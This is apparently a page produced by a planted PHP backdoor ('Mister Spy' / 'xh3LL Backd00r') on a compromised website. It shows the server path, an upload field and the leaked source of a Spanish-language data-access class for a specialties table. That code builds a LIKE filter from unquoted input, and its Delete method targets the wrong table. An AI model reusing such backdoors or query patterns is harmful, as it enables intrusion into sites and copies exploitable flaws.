Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.especialidades.php

<?php 

require_once('class.dbaccess.php');
require_once('class.configuraciones.php');
require_once('class.especialidad.php');
require_once('class.filter.php');
require_once('class.page.php');

class Especialidades extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		$sql.= " WHERE Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEspecialidades";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oEspecialidad = new Especialidad();
			$oEspecialidad->ParseFromArray($oRow);
			
			array_push($arr, $oEspecialidad);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetAllBusqueda(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEspecialidades";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
		
		array_push($arr, new Especialidad());	
		
		while ($oRow = $oRes->GetRow())	
		{	
			$oEspecialidad = new Especialidad();
			$oEspecialidad->ParseFromArray($oRow);
			$oEspecialidad->Nombre = utf8_encode($oEspecialidad->Nombre);
			
			array_push($arr, $oEspecialidad);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	

	public function GetById($IdEspecialidad)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEspecialidades";
		$sql.= " WHERE IdEspecialidad = " . DB::Number($IdEspecialidad);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oEspecialidad = new Especialidad();
		$oEspecialidad->ParseFromArray($oRow);
		
		return $oEspecialidad;		
	}
	

	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEspecialidades";
		$sql.= " WHERE Nombre LIKE " . DB::String($Nombre);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oEspecialidad = new Especialidad();
		$oEspecialidad->ParseFromArray($oRow);
		
		return $oEspecialidad;		
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEspecialidades";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
		
	// public function GetAllUsed()
	// {
		// $sql = "SELECT p.*";
		// $sql.= " FROM tblPaises p";
		// $sql.= " LEFT JOIN tblUsuarios u ON u.IdEspecialidad = p.IdEspecialidad";
		// $sql.= " LEFT JOIN tblUsuariosNewsletter un ON un.IdEspecialidad = p.IdEspecialidad";
		// $sql.= " WHERE";
		// $sql.= " (";
		// $sql.= " 	u.IdEspecialidad IS NOT NULL";
		// $sql.= " 	OR un.IdEspecialidad IS NOT NULL";
		// $sql.= " )";
		// $sql.= " GROUP BY p.IdEspecialidad";
		// $sql.= " ORDER BY p.Nombre ASC";

		// if (!($oRes = $this->GetQuery($sql)))
			// return false;
			
		// $arr = array();
			
		// while ($oRow = $oRes->GetRow())	
		// {	
			// $oPais = new Pais();
			// $oPais->ParseFromArray($oRow);
			
			// array_push($arr, $oPais);
			
			// $oRes->MoveNext();
		// }	
		
		// return $arr;		
	// }


	// public function GetForEnvioZona(EnvioZona $oEnvioZona)
	// {
		// /* obtenemos informacion de configuracion del sitio */
		// $oConfiguraciones = new Configuraciones();
		// $oConfiguracion = $oConfiguraciones->GetRow();

		// switch ($oConfiguracion->TipoEnvio)
		// {
			// case 'A':
				// $sql = "SELECT p.*";
				// $sql.= " FROM tblPaises p";
				// $sql.= " LEFT JOIN tblEnvioZonaDetalles ezd ON p.IdEspecialidad = ezd.IdEspecialidad";
				// $sql.= " WHERE ezd.IdEspecialidad IS NULL";
				// $sql.= " GROUP BY p.IdEspecialidad";
				// $sql.= " ORDER BY p.Nombre";
				// break;
				
			// case 'B':
				// $sql = "SELECT *,";
				// $sql.= " (";
				// $sql.= " 	SELECT COUNT(IdProvincia)";
				// $sql.= " 	FROM tblProvincias";
				// $sql.= " 	WHERE IdEspecialidad = p.IdEspecialidad";
				// $sql.= " ) AS ProvinciasTotales,";
				// $sql.= " (";
				// $sql.= " 	SELECT COUNT(IdProvincia)";
				// $sql.= " 	FROM tblEnvioZonaDetalles";
				// $sql.= " 	WHERE IdEspecialidad = p.IdEspecialidad";
				// $sql.= " ) AS ProvinciasUtilizadas";
				// $sql.= " FROM tblPaises p";
				// $sql.= " LEFT JOIN tblEnvioZonaDetalles ezd ON p.IdEspecialidad = ezd.IdEspecialidad";
				// $sql.= " GROUP BY p.IdEspecialidad";
				// $sql.= " HAVING ProvinciasUtilizadas < ProvinciasTotales";
				// $sql.= " OR ezd.IdEnvioZona = " . DB::Number($oEnvioZona->IdEnvioZona);
				// break;
			
			// case 'C':
				// $sql = "SELECT *,";
				// $sql.= " (";
				// $sql.= " 	SELECT COUNT(IdLocalidad)";
				// $sql.= " 	FROM tblLocalidades";
				// $sql.= " 	WHERE IdEspecialidad = p.IdEspecialidad";
				// $sql.= " ) AS LocalidadesTotales,";
				// $sql.= " (";
				// $sql.= " 	SELECT COUNT(IdLocalidad)";
				// $sql.= " 	FROM tblEnvioZonaDetalles";
				// $sql.= " 	WHERE IdEspecialidad = p.IdEspecialidad";
				// $sql.= " ) AS LocalidadesUtilizadas";
				// $sql.= " FROM tblPaises p";
				// $sql.= " LEFT JOIN tblEnvioZonaDetalles ezd ON p.IdEspecialidad = ezd.IdEspecialidad";
				// $sql.= " GROUP BY p.IdEspecialidad";
				// $sql.= " HAVING LocalidadesUtilizadas < LocalidadesTotales";
				// $sql.= " OR ezd.IdEnvioZona = " . DB::Number($oEnvioZona->IdEnvioZona);
				// break;
				
			// default:
				// break;
		// }
		
		// if (!($oRes = $this->GetQuery($sql)))
			// return false;
			
		// $arr = array();
			
		// while ($oRow = $oRes->GetRow())	
		// {	
			// $oPais = new Pais();
			// $oPais->ParseFromArray($oRow);
			
			// array_push($arr, $oPais);
			
			// $oRes->MoveNext();
		// }	
		
		// return $arr;		
	// }
	
	
	public function Create(Especialidad $oEspecialidad)
	{
		$arr = array
		(
			'Nombre' 		=> DB::String($oEspecialidad->Nombre)
		);
		
		if (!$this->Insert('tblEspecialidades', $arr))
			return false;
			
		return $oEspecialidad;
	}
	
	
	public function Update(Especialidad $oEspecialidad)
	{
		$where = " IdEspecialidad = " . DB::Number($oEspecialidad->IdEspecialidad);
		
		$arr = array
		(
			'Nombre' 		=> DB::String($oEspecialidad->Nombre)
		);
		
		if (!DBAccess::UpdateEntidad('tblEspecialidades', $arr, $where))
			return false;
		
		return $oEspecialidad;
	}
	

	public function Delete($IdEspecialidad)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdEspecialidad = " . DB::Number($IdEspecialidad);
		if (!DBAccess::DeleteEntidad('tblPaises', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat